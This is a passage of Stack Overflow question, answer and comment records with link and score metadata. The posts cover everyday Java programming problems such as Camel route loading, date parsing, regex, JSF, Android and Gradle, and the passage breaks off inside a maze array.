has body: For example,I have an 1-D array ,how can I check if all the elements are different?(no one same with other,all of them should be different) Use for-loop?Or something else? I thought maybe this,but cannot be true: int []array={1,2,3,4,4,6} for(int i=0;i&lt;a.length;i++){ if(a[i]!=a[i+1]) return true; else return false; } so is there some good method can use to check different?
has comment: http://stackoverflow.com/comment/33768592
has comment: http://stackoverflow.com/comment/33769253
has title: In java,how to check elements in a 1-D array are different to each other?
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22237103
has answer: http://stackoverflow.com/a/22237085

http://stackoverflow.com/q/22259790
tagged with: java
tagged with: apache-camel
has answer: http://stackoverflow.com/a/22271155
has answer: http://stackoverflow.com/a/22266549
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/33811324
favorite count: 0
has comment: http://stackoverflow.com/comment/33822779
tagged with: groovy
has body: I'm trying to manually load CamelContext from applicationContext.xml file which looks like this: &lt;beans:beans xmlns="http://www.springframework.org/schema/integration" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:beans="http://www.springframework.org/schema/beans" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/integration http://www.springframework.org/schema/integration/spring-integration.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd"&gt; &lt;camelContext id="camelContext" xmlns="http://camel.apache.org/schema/spring"&gt; &lt;route&gt; &lt;from uri="direct:a"/&gt; &lt;to uri="direct:b"/&gt; &lt;/route&gt; &lt;route&gt; &lt;from uri="direct:b"/&gt; &lt;to uri="direct:c"/&gt; &lt;/route&gt; &lt;route&gt; &lt;from uri="direct:c"/&gt; &lt;to uri="mock:direct:c"/&gt; &lt;/route&gt; &lt;/camelContext&gt; &lt;/beans:beans&gt; While loading I'm using this snippets (groovy code): def xmlBeans = applicationContext.getBeanFactory() new XmlBeanDefinitionReader(xmlBeans).loadBeanDefinitions('test/integration/resources/applicationContext.xml') def camelContext = applicationContext.getBean("camelContext") camelContext.start(); println "Route definitions: " + camelContext.routeDefinitions println "Routes: " + camelContext.routes Everything loads just fine, but routes and routeDefinitions are empty ;( The output is: Routes definitions: [] Routes: [] What I'm doing wrong? Or what I've missed to do? UPDATE 1 After some research I've found the following. If I modify my XML file and change nested tag to some invalid value (e.g. replace &lt;from&gt; with &lt;from1&gt;) I'm getting error immediatelly. However, if I change endpoint URI to some invalid value (e.g. mock:direct:c replace with mock_XXX:direct:c) - no errors are thrown. I believe that Spring's validation of schema runs, however, camel validatio…
has title: CamelContext loads, but route definitions are empty
tagged with: applicationcontext
answer count: 4
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33810355
tagged with: spring
has answer: http://stackoverflow.com/a/69083980
has comment: http://stackoverflow.com/comment/33822679
score: 2
has answer: http://stackoverflow.com/a/75071302

http://stackoverflow.com/q/22277066
has answer: http://stackoverflow.com/a/22277089
accepted answer: http://stackoverflow.com/a/22277089
answer count: 1
favorite count: 0
has body: I have a String that contains for example: Hello are you ok ? I want to convert this String to: Hello%20are%20you%20ok%20? What do we call that and how can I do it in Java? Cause when I send a HttpRequest, the server doesn't understand the words without these special characters...
downvote count: 0
duplicate of: http://stackoverflow.com/q/10786042
linked to: http://stackoverflow.com/q/10786042
type: AnsweredQuestion
tagged with: urlencode
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33840967
type: Question
has comment: http://stackoverflow.com/comment/33840991
has title: Changing String encoding type to send in HTTP Request
upvote count: 1

http://stackoverflow.com/a/22188255
has comment: http://stackoverflow.com/comment/33684002
has comment: http://stackoverflow.com/comment/33684049
answers question: http://stackoverflow.com/q/22187467
score: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33683182
has comment: http://stackoverflow.com/comment/33725165
has comment: http://stackoverflow.com/comment/33682886
type: Answer
has body: The request scope (and its handlers) is registered by a WebApplicationContext implementation. If you're going to test in a web environment, you'll need @WebAppConfiguration.
upvote count: 2
has comment: http://stackoverflow.com/comment/33725049
has comment: http://stackoverflow.com/comment/49874659
has comment: http://stackoverflow.com/comment/49874791
accepted answer of: http://stackoverflow.com/q/22187467

http://stackoverflow.com/q/22274803
score: 0
linked to: http://stackoverflow.com/q/7626076
has answer: http://stackoverflow.com/a/22274898
favorite count: 0
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has body: I need to convert a string to date to allow me insert information in mysql table: I tried this: System.out.println("Escribe la fecha de nacimiento de socio:"); //Traduction to english: set the date of birthday // String fechaSocio = sc.next(); Date fecha = null; try { fecha = new SimpleDateFormat("ddMMyyyy").parse(fechaSocio); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } but It's converting like that: Thu Mar 21 00:00:00 CET 1996 I need to convert to this : 01-01-1987 or 01011987 public class SocioDao { static ClaseConexion conexion = new ClaseConexion(); public void insertar(Socio misocio){ System.out.println(misocio.getDATA_NAIXEMENT()); System.out.println(".........................."); try { Statement statuo = conexion.getConnection().createStatement(); statuo.executeUpdate("insert into socis(CODI_SOCI,DNI,NOM,COGNOMS," + "DATA_NAIXEMENT,ADRECA,POBLACIO,TELEFON) values ('" + misocio.getCODI_SOCI() + "','" + misocio.getDNI() + "',' " + misocio.getNOM() + "','" + misocio.getCOGNOMS() + "','" + misocio.getDATA_NAIXEMENT() + "','" + misocio.getADREÇA() + "','" + misocio.getPOBLACIO() + "','" + misocio.getTELEFON() + "')"); statuo.close(); conexion.desconectar(); System.out.println("Socio añadido correctamente"); } catch (Exception e) { System.out.println("No se puede añadir un nuevo socio"); } } }
tagged with: java
tagged with: mysql
tagged with: date
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22275017
has comment: http://stackoverflow.com/comment/33836690
has comment: http://stackoverflow.com/comment/33836706
has title: Convert String to Date mysql

http://stackoverflow.com/q/22325083
type: Question
answer count: 2
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/22325205
tagged with: regex
possible better answer: http://stackoverflow.com/a/22325132
has answer: http://stackoverflow.com/a/22325132
upvote count: 2
has body: I'd like to match/extract the word test in the string asd{test}asd. My Regex: ({test}.*) would match {test}. How do I: - match anything inside the brakets? - exclude the brakets from the matching group? - make the matching group optional?
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22325205
tagged with: java
has title: How to make regex matching group excluding the matching characters?

http://stackoverflow.com/comment/33879018
comment on: http://stackoverflow.com/q/22298196
has text: If your values are fixed then you can define final int variables!
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33845654
type: AnswerComment
comment on: http://stackoverflow.com/a/22279249
type: Comment
has text: what's the difference between Timer and AlarmManager?
score: 0

http://stackoverflow.com/comment/33770167
score: 0
type: Comment
type: QuestionComment
has text: It just occurred to me too that in testing you may find that sorting the arrays (if they're sufficiently large) influences the speed of processing. Don't fall victim to a failure of branch prediction and conclude that one method is better/faster than the other. See this thread for information on why sorted arrays can be processed faster: http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array?rq=1
comment on: http://stackoverflow.com/q/22236928

http://stackoverflow.com/a/22221916
has comment: http://stackoverflow.com/comment/33746012
downvote count: 0
score: 1
has body: Yea sure. The simple way is to have a number of threads each of which creates a ServerSocket, binds to a port, and then calls accept on it.
has comment: http://stackoverflow.com/comment/33741693
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22221846
accepted answer of: http://stackoverflow.com/q/22221846
upvote count: 1
type: Answer

http://stackoverflow.com/comment/33725226
has text: Until our next smackdown :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22212836
type: Comment

http://stackoverflow.com/comment/33701755
has text: thanks Stephen and @John. but we are saying that GC is daemon thread and also gc() has native implementaion.then what is GC?
score: 0
comment on: http://stackoverflow.com/a/22200013
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22313105
type: Answer
upvote count: 1
type: AcceptedAnswer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22312760
has body: In the new OnCheckedChangeListener you have there, it has included an @Override method which you should be using, rather than your own implementation; @Override public void onCheckedChanged(RadioGroup group, int checkedId) { } Try to move your checkListValues code from your method to the one provided.
accepted answer of: http://stackoverflow.com/q/22312760

http://stackoverflow.com/comment/129410704
type: Comment
comment on: http://stackoverflow.com/a/73234460
score: 0
type: AnswerComment
has text: User was asking for LocalDate and not LocalDateTime please update your answer accordingly

http://stackoverflow.com/comment/33651061
score: 0
comment on: http://stackoverflow.com/q/22172152
type: Comment
type: QuestionComment
has text: you mean you want to go on another screen..,and want to open new layout??

http://stackoverflow.com/q/22178116
has body: I am working on a JSF web application. The service layer is developed using stateless session beans. These stateless beans are injected to managed beans using CDI. I know that to manage transactions in stateless beans, I can use either container managed transactions or bean managed transactions. Also all the public methods in a stateless bean are by default in container managed transactions. So my questions are: Which is the preferred approach for transaction management in stateless bean - container managed or bean managed? Is it advisable to have both bean managed and container managed transaction beans in service layer? Is it possible to use both container managed and bean managed transactions in a single bean? If possible is it advisable? Please let me know your suggestions...
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22178529
tagged with: transactions
tagged with: java
tagged with: ejb-3.1
type: Question
has answer: http://stackoverflow.com/a/22207044
tagged with: stateless-session-bean
accepted answer: http://stackoverflow.com/a/22207044
answer count: 2
score: 2
downvote count: 0
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/22178529
has title: Stateless session bean transactions

http://stackoverflow.com/comment/33852091
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22283407
has text: that is my question what do i need to do or what is your suggest to called the static part i cant change it into a non static form sir >.<
score: 0

http://stackoverflow.com/comment/33845781
has text: is there any way to do the file_operations like ioctl using java ? Thanks.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22268998
type: AnswerComment

http://stackoverflow.com/comment/33713383
has text: :D of course just remove the `.id` part - i'll update the query
type: AnswerComment
comment on: http://stackoverflow.com/a/22205267
score: 0
type: Comment

http://stackoverflow.com/q/22221381
has comment: http://stackoverflow.com/comment/44809434
answer count: 0
has body: I'm trying to add the openDeclaration function to my own Eclipse plugin editor. Until now I didn't really understand how the f3 functionality works (I read something about Hyperlinking, openAction, and compilationUnit.findDeclaringNode()), but i cannot put the pieces together and understand how it work. Until now i thought it works like this: While parsing the code, the tokens which are read will be added to the ast. The hierarchy level is IJavaProject/IPackageFragmentRoot/IPackageFragment/ICompilationUnit/{IType / IField / IMethod} With jdt it is possible to work with this ast. Each Java file is represented with a compilation unit. If I press f3, a ActionHandler is started which takes the IjavaElement that I hover in this moment. Right now I have the IJavaElement in my Editor Plugin but I don't know how to jump to the corresponding type/method associated with the declaration in the compilation unit. And I don't know what will happen if the declaring node is not in the same compilation unit, like if it's a basic type (Such as a String or an Integer). Maybe if everything if was more clear, I could follow the way how the default Java editor is doing this task. How do I get the pieces together or how can I debug the functionality?
type: UnansweredQuestion
tagged with: eclipse-plugin
has comment: http://stackoverflow.com/comment/46844018
has title: Understand openDeclarartion functionality (f3). How can I debug the openDeclaration in eclipse
type: Question
score: 0
has comment: http://stackoverflow.com/comment/44810990
has comment: http://stackoverflow.com/comment/33873360
has comment: http://stackoverflow.com/comment/44812372
tagged with: java
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33739724
tagged with: debugging

http://stackoverflow.com/comment/33656038
comment on: http://stackoverflow.com/q/22174737
score: 0
has text: What don't you understand? That it outputs 101, or something else? What did you expect?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33800179
comment on: http://stackoverflow.com/a/22249395
score: 0
has text: xstream is not the issue here
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/33844442
score: 0
comment on: http://stackoverflow.com/a/22277186
type: Comment
has text: This works! Not sure if you've read my other question that I've linked above, but I now have an `AsyncContainerRequestFilter extends ContainerRequestFilter` in my project, and a generic way to register them, which I'm pretty excited about :)
type: AnswerComment

http://stackoverflow.com/comment/74571268
type: Comment
has text: The results for me are one out. Input 128 -> output ü
comment on: http://stackoverflow.com/a/22274036
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33768039
type: Comment
has text: It now works now that is on activity main rather than fragment main. , so you didn't change the code ?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22236553

http://stackoverflow.com/comment/33894639
has text: Once you authorize with any OAuth provider after successful authorization they need to know your page where they should redirect. This link should be available on internet.
comment on: http://stackoverflow.com/q/22306481
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33794726
comment on: http://stackoverflow.com/q/22251787
score: 0
has text: http://stackoverflow.com/a/21974362/2736496
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33900404
score: 0
comment on: http://stackoverflow.com/q/22305186
type: QuestionComment
type: Comment
has text: I can't get the given regex to match anything. It's probably because of the `(?=[ ]|$)` and `[A-Z]` parts, which basically say that the next character must be a space, but must also be a capital letter.

http://stackoverflow.com/a/22264902
has body: Well, I think I got somewhere; thanks to the comment by @Teepeemm, I learned about Ornstein - Uhlenbeck process, and also that Brownian motion: "is described by the Wiener process ... one of the best known Lévy processes". Rereading Ornstein - Uhlenbeck process ("Over time, the process tends to drift towards its long-term mean ... is a prototype of a noisy relaxation process ...the length x(t) of the spring will fluctuate stochastically around the spring rest length x0;"), I realized it is not what I want - it would have caused my dot eventually to settle in the central position, and then I would have had to "ping" it every once in a while. Just as I realized that it would take me forever to fist understand, and then code, those processes - I found this: Generation of noise with given PSD - Newsreader - MATLAB Central I want to generate noise data with especific frequency characteristics: That is, the power spectral density (PSD) has to be proportional to f^0, f, f^2 etc. f^0 -- use randn f^(-2) -- low-pass filter the f^0 time series, or integrate with cumsum f^2 -- differentiate, as with diff ... so I thought, maybe I can somehow process the raw random numbers, to get a "distribution" as I want. So I came up with a Processing patch, which you'll find below as rndquest2.pde. Processing makes it easy to use alpha colors for points, and if the background is not erased, they accumulate - so it's easier to see what is the actual distribution of a random output being tweaked. I got this image: The "choice 0" seems to point out that random() generates a sequence with uniform distribution (white noise). For instance, "choice 1" would cause the dot to tend to stick on the edges; "choice 2" quite obviously shows folding ; and I'd prefer a circle, too. In the end, I got something most resembling a Gauss (most frequent in the center, and slowly diminishing to the edges) on "choice 9", by something like a radial folding, I guess. There's still a visible threshold border on "cho…
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22262251
type: Answer
score: 3

http://stackoverflow.com/q/22261314
tagged with: java
has answer: http://stackoverflow.com/a/22261351
has answer: http://stackoverflow.com/a/22261401
upvote count: 1
type: Question
tagged with: arrays
has comment: http://stackoverflow.com/comment/33812787
has comment: http://stackoverflow.com/comment/33812784
tagged with: arraylist
has answer: http://stackoverflow.com/a/22261445
has title: Check if number is in a number list
accepted answer: http://stackoverflow.com/a/22261351
answer count: 3
has body: I am new to programming and I am trying to figure out how to create a list of numbers like so (5, 10, 15, 20, 25, all the way to 500) then be able to check if a player score is equal to any of these numbers. My code so far is this.. It works, but only if the score is 5. private void drawPower() { if (myWorld.getScore() == 5) { batcher.draw(Power, pipe3.getX(), pipe3.getY() + pipe3.getHeight() + 30, 20, -14); } } I need to know what needs to be done so instead of if (myWorld.getScore() == 5) { it would be if (myWorld.getScore() == "any number in the list") {
downvote count: 0
favorite count: 0
type: AnsweredQuestion
tagged with: list
possible better answer: http://stackoverflow.com/a/22261401
score: 1

http://stackoverflow.com/a/22283918
has comment: http://stackoverflow.com/comment/33853276
has comment: http://stackoverflow.com/comment/33853204
upvote count: 7
accepted answer of: http://stackoverflow.com/q/22283856
has comment: http://stackoverflow.com/comment/33853358
answers question: http://stackoverflow.com/q/22283856
has body: You can try this way String input = "123451234512345"; String[] pairs = input.split("(?&lt;=\\G\\d{5})"); System.out.println(Arrays.toString(pairs)); Output: [12345, 12345, 12345] This regex uses positive look behind mechanism (?&lt;=...) and \\G which represents "previous match - place where previously matched string ends, or if it doesn't exist yet (when we just started matching) ^ which is start of the string". So regex will match any place that has five digits before it and before this five digits previously matched place we split on.
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33853155
has comment: http://stackoverflow.com/comment/33853048
score: 7
has comment: http://stackoverflow.com/comment/33853193
has comment: http://stackoverflow.com/comment/33853110
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33853178
has comment: http://stackoverflow.com/comment/33853128

http://stackoverflow.com/q/22306801
score: 0
tagged with: java
has body: I am trying to implement a function that adds a book to a shopping cart. The Cart bean has the fields to hold the request parameters. It is session scoped. &lt;h:form id="addBookToCartForm"&gt; &lt;ui:repeat var="book" value="#{search.bookList}"&gt; &lt;h:commandButton value="#{messages.addToCart}" action="#{cart.addBookToCart}"&gt; &lt;f:param name="bookId" value="#{book.bookId}" /&gt; &lt;/h:commandButton&gt; &lt;/ui:repeat&gt; &lt;/h:form&gt; The request from the view index.jsf, the action method calls the view cart.jsf. The problem is: The action method isn't called, not even the bean itself is constructed. I had a look at solutions for similar problems but couldn't find a solution that pointed in the right direction. At first I thought #{search.bookList} could be a problem but I don't need the bookList for the next view. Activating debugging via &lt;ui:debug&gt; reveals this: java.lang.UnsupportedOperationException: Not supported. at javax.faces.component.UIViewAction.getActionListener(UIViewAction.java:249) This message refers to the metadata at the top of index.jsf: &lt;f:metadata&gt; &lt;f:viewParam name="genreTypeId" value="#{search.genreTypeId}" /&gt; &lt;f:viewAction action="#{search.searchByGenreTypeId}" /&gt; &lt;/f:metadata&gt; The search bean is where the bookList comes from.
tagged with: jsf-2.2
has title: Call of action method from iterated h:commandButton fails
possible better answer: http://stackoverflow.com/a/22321748
has comment: http://stackoverflow.com/comment/33894300
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22321748
has answer: http://stackoverflow.com/a/22416616
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33895470
has comment: http://stackoverflow.com/comment/34033256
accepted answer: http://stackoverflow.com/a/22416616
tagged with: jsf

http://stackoverflow.com/q/22271325
has comment: http://stackoverflow.com/comment/33830227
answer count: 2
has comment: http://stackoverflow.com/comment/33830110
downvote count: 0
has answer: http://stackoverflow.com/a/22271463
has answer: http://stackoverflow.com/a/22271460
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33830196
tagged with: android
has comment: http://stackoverflow.com/comment/33830258
has comment: http://stackoverflow.com/comment/33830172
score: 1
tagged with: java
has body: New To Android programming, need some help Please. Creating my first App. I Created a new Class and now am trying to use the class can you please me, Dont know what to put in my MainActivity.java to use the new class, here is the MainActivity, and also the class. What line of code do I put in my MainActivity to be able to use the new Class? Thank you very much. public class MainActivity extends Activity { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Determine whether the current user is an anonymous user if (ParseAnonymousUtils.isLinked(ParseUser.getCurrentUser())) { // If user is anonymous, send the user to LoginSignupActivity.class Intent intent = new Intent(MainActivity.this, LoginSignupActivity.class); startActivity(intent); finish(); } else { // If current user is NOT anonymous user // Get current user data from Parse.com ParseUser currentUser = ParseUser.getCurrentUser(); if (currentUser != null) { // Send logged in users to Welcome.class Intent intent = new Intent(MainActivity.this, Welcome.class); startActivity(intent); finish(); } else { // Send user to LoginSignupActivity.class Intent intent = new Intent(MainActivity.this, LoginSignupActivity.class); startActivity(intent); finish(); } } } } Here is the Class: public class RaceCar extends Activity { TextView tvHttp; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tvHttp = (TextView) findViewById(R.id.httptest); GetData obj = new GetData(); obj.execute("http://racecar.com"); } public class GetData extends AsyncTask&lt;String, Void, String&gt; { @Override protected String doInBackground(String... params) { BufferedReader reader = null; String data = null; try { HttpClient client = new DefaultHttpClient(); URI uri = new URI(params[0]); HttpGet get = new HttpGet(uri); HttpResponse response = client.execute(get); InputStream stream = response.getEntity().getContent(); reader = ne…
upvote count: 1
type: Question
has title: What line of code do I put in my MainActivity to be able to use the new Class?

http://stackoverflow.com/comment/33834908
comment on: http://stackoverflow.com/q/22273746
type: Comment
has text: The Timer repaints the GUI every 5 millis for you. You shouldn't have an infinite loop in `SuperSizeCircle()` (which should be named `superSizeCircle()`).
score: 0
type: QuestionComment

http://stackoverflow.com/q/22196412
tagged with: java
has answer: http://stackoverflow.com/a/22196630
type: Question
downvote count: 0
has title: javax.persistence.EntityManager source code not found
answer count: 1
has body: I have the problem in my project using spring roo and GWT When I run the project, this problem in source code appear No source code is available for type javax.persistence.EntityManager; did you forget to inherit a required module? I move the jar in src/main/webapp/WEB-INF/lib folder but this class is not found
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: spring
tagged with: gwt
score: 1

http://stackoverflow.com/a/22327152
accepted answer of: http://stackoverflow.com/q/22326856
has comment: http://stackoverflow.com/comment/33931396
answers question: http://stackoverflow.com/q/22326856
has comment: http://stackoverflow.com/comment/33931629
has comment: http://stackoverflow.com/comment/33930501
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33931354
has body: I'd wager that @Stateless might be the culprit here...
has comment: http://stackoverflow.com/comment/33930150
has comment: http://stackoverflow.com/comment/33930822
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/33931080
has comment: http://stackoverflow.com/comment/33932461
upvote count: 1

http://stackoverflow.com/comment/33676223
score: 0
comment on: http://stackoverflow.com/a/22185750
type: AnswerComment
has text: Can I still do a normal `==` comparison, like `if type == FooType.class` in the above code, where `type` is `Class<? extends FooBase>` and `FooType` implements `FooBase`?
type: Comment

http://stackoverflow.com/a/22322287
accepted answer of: http://stackoverflow.com/q/22322108
answers question: http://stackoverflow.com/q/22322108
type: AcceptedAnswer
downvote count: 0
has body: By this snippet block of code you can check all type networks in your device: public boolean isNetworkAvailable() { ConnectivityManager connectivity = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); if (connectivity == null) { return false; } else { NetworkInfo[] info = connectivity.getAllNetworkInfo(); if (info != null) { for (int i = 0; i &lt; info.length; i++) { if (info[i].getState() == NetworkInfo.State.CONNECTED) { return true; } } } } return false; } and then test your network by this: if (isNetworkAvailable()) { //Network availabe... } else { Toast alrtMsg = Toast.makeText(this, "No network connection available !!!", Toast.LENGTH_LONG); alrtMsg.setGravity(Gravity.CENTER, 0, 0); alrtMsg.show(); }
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/a/22314370
type: Answer
accepted answer of: http://stackoverflow.com/q/22188102
answers question: http://stackoverflow.com/q/22188102
has body: If anyone really cares you can set up a simple domain name (tons of free ones available) and in the control panel of your hosting there should be an FTP file manager where you can add and organize files with a pretty simple url look up perfect for code. This is what I used hope it helps you guys!
type: AcceptedAnswer
score: 0

http://stackoverflow.com/comment/33874221
type: QuestionComment
has text: @Creative_Cimmons according to my knowledge, there is no method to that. Because everyones referesh definition is different.
score: 0
comment on: http://stackoverflow.com/q/22294457
type: Comment

http://stackoverflow.com/a/22229913
has body: The only constant assumption you can have is the sequence of the days. We know that after Monday is Tuesday and after it is Wednesday. public static final void printWeek(Day firstDayOfWeek) { Day[] days = Day.values(); int offset = firstDayOfWeek.ordinal(); for(int i = 0; i&lt; days.length; i++) { System.out.println(days[offset % days.length]); offset++; } } Thanks to this you will be able to create order not only from Monday or Sunday but from every day of the week. Good luck.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22229762

http://stackoverflow.com/comment/33702762
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22200558
has text: Already tried that one. Doesn't help for me. Regarding the 64bit JDK you just alway read online, that it's not the best choice for Android Development(?)

http://stackoverflow.com/q/22176251
has body: Hey all I am trying to get these Unit tests to fail but can't it uses annotations, which is new to me. Any ideas would be great! I have been trying all sorts of ways to get them to fail by either setting the test class variables to null, or trying to use if/else statements in the minimum test, but they always come out passing. Is this correct? public class ValidationServiceTest extends BaseServiceTest { ValidationService validationService; ValidationException ve; TestDto test; Field f; @Before public void setup() { validationService = new ValidationService(); ve = null; } @Test public void validateNotNull(){ try { validationService.validate(ve, test.xx); assertNotNull("testing notNull()", ve); } catch (Exception e) { } } @Test public void validateMin(){ try { validationService.validate(ve, test.xy); if(test.xy &gt; f.min()){ assertTrue("testing min()" , test.xy &gt; -1); } } catch (Exception e) { } } public class TestDto{ @Field(notNull=true) public Integer xx = null; @Field(min=2) public Integer xy = -5; } }
has comment: http://stackoverflow.com/comment/33658673
score: 0
answer count: 1
has title: JUnit testing with annotations
has answer: http://stackoverflow.com/a/22182066
tagged with: java
tagged with: junit
has comment: http://stackoverflow.com/comment/33687733
type: UnansweredQuestion
type: Question

http://stackoverflow.com/q/22209181
has answer: http://stackoverflow.com/a/77926784
favorite count: 0
has answer: http://stackoverflow.com/a/22211134
has body: My src/test/ folder includes both unit and functional tests. The classpath of functional tests has the word cucumber, whereas the unit tests do not. So, how can I run the unit tests only? Thank you very much. P.S.: I know it is easy to use the "include" logic to select tests. For example, to only run the functional tests in my case, I can simply use this ./gradlew test -Dtest.single=cucumber/**/ However, I don't know how to exclude tests in a simple way. BTW, I am using gradle 1.11.
type: Question
has answer: http://stackoverflow.com/a/22209252
tagged with: java
score: 45
tagged with: gradle
tagged with: unit-testing
has answer: http://stackoverflow.com/a/47097332
answer count: 5
has answer: http://stackoverflow.com/a/61779088
has title: Gradle: how to exclude some tests?
accepted answer: http://stackoverflow.com/a/22209252
type: AnsweredQuestion
downvote count: 0
upvote count: 45
possible better answer: http://stackoverflow.com/a/22211134

http://stackoverflow.com/q/22279730
has answer: http://stackoverflow.com/a/22279798
tagged with: file
has answer: http://stackoverflow.com/a/22279753
upvote count: 1
has answer: http://stackoverflow.com/a/22279773
type: AnsweredQuestion
has body: So I've been doing like the simplest thing ever. Create a text file for a Java application. Just directly in the C directory: File file = new File("C://function.txt"); System.out.println(file.exists()); The file never shows up though, I changed the slashes, changed the path, nothing. Could anyone help me out here?
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22279749
accepted answer: http://stackoverflow.com/a/22279751
has answer: http://stackoverflow.com/a/22279857
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33845800
has title: File not created in Java (Eclipse)
downvote count: 0
has answer: http://stackoverflow.com/a/22279759
answer count: 7
favorite count: 0
has answer: http://stackoverflow.com/a/22279751
possible better answer: http://stackoverflow.com/a/22279798

http://stackoverflow.com/q/22242927
tagged with: absolute-path
tagged with: web-crawler
accepted answer: http://stackoverflow.com/a/22243046
type: Question
has body: I wrote a simple Java Web Crawler that lets the user type in any web page and it will search through the page and pull out the links as Strings. I am not using a package like Jsoup. My question is, how do I only print the absolute URLs rather than both relative and absolute URLs?
tagged with: relative-path
score: 0
answer count: 1
tagged with: url
has answer: http://stackoverflow.com/a/22243046
has title: Print only absolute URLs
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22236578
tagged with: java
has comment: http://stackoverflow.com/comment/33768386
has comment: http://stackoverflow.com/comment/33769378
answer count: 3
has comment: http://stackoverflow.com/comment/33768606
score: 0
has body: I have now got it to stop repeating infinitely, but it just keeps trying the same wrong path over and over again. Does anyone know of a way to get it to try different paths? Key for the numbers: 0 is open 1 is a wall 2 is part of the path 3 is the end of the maze public class Maze{ public static void main(String[] args){ int[][] maze = {{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1}, {0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1}, {1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1}, {1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1}, {1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1}, {1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1}, {1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1}, {1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1}, {1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1}, {1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1}, {1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1}, {1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1}, 